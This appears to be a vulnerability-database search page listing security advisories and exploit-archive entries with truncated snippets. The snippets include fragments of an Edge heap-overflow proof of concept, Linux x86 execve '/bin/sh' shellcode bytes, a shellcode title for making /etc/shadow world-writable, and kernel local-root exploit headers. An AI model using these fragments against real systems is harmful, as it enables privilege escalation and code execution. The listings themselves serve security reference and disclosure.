Microsoft Edge - 'Array.map' Heap Overflow (MS16-119)

var b = new Array1,2,3; var d = new Array1,2,3; class dummy constructor alert"in constructor"; return d; var handler = get: functiontarget, name ifname == "length" return 0x100; return Symbol.species : dummy; , has: functiontarget, name alert"has " + name; return true; ; var p = new Proxy, handle...

SUSE SLES11 Security Update : php53 (SUSE-SU-2016:1638-1) (BACKRONYM)

This update for php53 to version 5.3.17 fixes the following issues : These security issues were fixed : - CVE-2016-5093: geticuvalueinternal out-of-bounds read bnc982010. - CVE-2016-5094: Don't create strings with lengths outside int range bnc982011. - CVE-2016-5095: Don't create strings with...

Internet Bug Bounty: In correct casting from size_t to int lead to heap overflow in mcrypt_generic

https://bugs.php.net/bug.php?id=72551&edit=2...

The International Incident – Gaining Control of a .int Domain Name With DNS Trickery

The .int or international TLD is perhaps one of the most exclusive extensions available on the Internet. The number of domains on the extension is so small it has it’s own Wikipedia page. Introduced around 27 years ago its primary purpose has been for international treaty organizations. The...

Google Go math/big library private key acquisition vulnerability

Google Go is a programming language optimized for programming applications on multiprocessor systems. A security vulnerability in the Int.Exp Montgomery code in Google Go's math/big library allows a remote attacker to exploit the vulnerability to obtain an RSA private key because the code fails t...

Linux/x86 - execve "/bin/sh" Shellcode (24 bytes)

/ ; Title: Linux/x86 execve "/bin/sh" - shellcode 24 byte ; Platform: linux/x86 ; Date: 2015-01-03 ; Author: Dennis 'dhn' Herrmann ; Website: https://zer0-day.pw BITS 32 global start section .text ; syscalls kernel SYSEXECVE equ 0x0b start: ; execve"/bin//sh", 0, 0; push SYSEXECVE ; SYSEXECVE = 1...

When ‘int’ is the new ‘short’

Posted by Mark Brand, Truncator of Integers This is going to be a quick post, just describing a particularly interesting Chrome issue that I found last month; how I found it; and what is interesting about it… I was looking through some Chrome networking code; and I noticed an interesting API desi...

kernel: int80 fork from 64-bit tasks mishandling

A flaw was found in the way the Linux kernel's 32-bit emulation implementation handled forking or closing of a task with an 'int80' entry. A local user could potentially use this flaw to escalate their privileges on the system...

kernel: int80 fork from 64-bit tasks mishandling

A flaw was found in the way the Linux kernel's 32-bit emulation implementation handled forking or closing of a task with an 'int80' entry. A local user could potentially use this flaw to escalate their privileges on the system...

Google Chrome PDFium Denial of Service Vulnerability

Google Chrome is the United States Google Google company developed a Web browser. PDFium is one of the open source PDF rendering engine. Google Chrome 40.0.2214.85 and previous versions of PDFium used in the fpdfapi/fpdffont/fontint.h file has a denial of service vulnerability. A remote attacker...

OracleVM 3.1 : xen (OVMSA-2012-0046)

The remote OracleVM system is missing necessary patches to address critical security updates : - Xen Security Advisory CVE-2012-4411 / XSA-19 version 2 guest administrator can access qemu monitor console Disable qemu monitor by default. The qemu monitor is an overly powerful feature which must be...

dos_ssh - Use BIOS ram hacks to make a SSH server

Use BIOS ram hacks to make a SSH server out of any INT 10 13h app MS-DOS is one of those You can find a demo Youtube Video here below: Download dosssh...

linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 25 bytes

No description provided by source. / Linux/x86 execve/bin/sh, /bin/sh, NULL - 25 bytes - [email protected] / char shellcode = \x31\xc0 // xor %eax, %eax \x50 // push %eax \x68\x2f\x2f\x73\x68 // push $0x68732f2f \x68\x2f\x62\x69\x6e // push $0x6e69622f \x89\xe3 // mov %esp, %ebx \x50 // push %eax...

linux/x86 if(read(fd,buf,512)<=2) _exit(1) else buf(); 29 bytes

No description provided by source. / h3ll-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I use it as a first stage payload when I desire to follow up with a real large payload of goodness. This actually is a bit larger than...

OpenBSD - ICMPv6 Fragment Remote Execution Exploit PoC

No description provided by source. The PoC executes the shellcode int 3 and returns. It overwrites the extfree function pointer on the mbuf and forces a mfreem on the overflowed packet. The Impacket library is used to craft and send packets http://oss.coresecurity.com/projects/impacket.html or...

linux/x86 Shellcode Polymorphic - setuid(0) + chmod("/etc/shadow", 0666) Shellcode 61 Bytes

No description provided by source. / ============================================================================================= linux/x86 Shellcode Polymorphic - setuid0 + chmod/etc/shadow, 0666 Shellcode 61 Bytes...

Linux Kernel < 3.8.9 - x86_64 perf_swevent_init Local Root Exploit

No description provided by source. / CVE-2013-2094 exploit x8664 Linux 3.8.9 by sorbo [email protected] June 2013 Based on sd's exploit. Supports more targets. / define GNUSOURCE include string.h include stdio.h include unistd.h include stdlib.h include stdint.h include sys/syscall.h include...

Linux Kernel <= 2.6.9 / <= 2.4.28 - vc_resize int Local Overflow Exploit

No description provided by source. / vcresize int overflow Copyright Georgi Guninski Cannot be used in vulnerability databases / include stdio.h include stdlib.h include sys/types.h include sys/stat.h include fcntl.h include linux/vt.h include sys/vt.h include sys/ioctl.h include string.h include...

Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)

/ Ubuntu 12.04 3.x x8664 perfsweventinit Local root exploit by Vitaly Nikolenko [email protected] based on semtex.c by sd Supported targets: 0 Ubuntu 12.04.0 - 3.2.0-23-generic 1 Ubuntu 12.04.1 - 3.2.0-29-generic 2 Ubuntu 12.04.2 - 3.5.0-23-generic $ gcc vnik.c -O2 -o vnik $ uname -r...

Oracle Linux 4 : kernel (ELSA-2009-1438)

From Red Hat Security Advisory 2009:1438 : Updated kernel packages that fix several security issues and several bugs are now available for Red Hat Enterprise Linux 4. This update has been rated as having important security impact by the Red Hat Security Response Team. The kernel packages contain...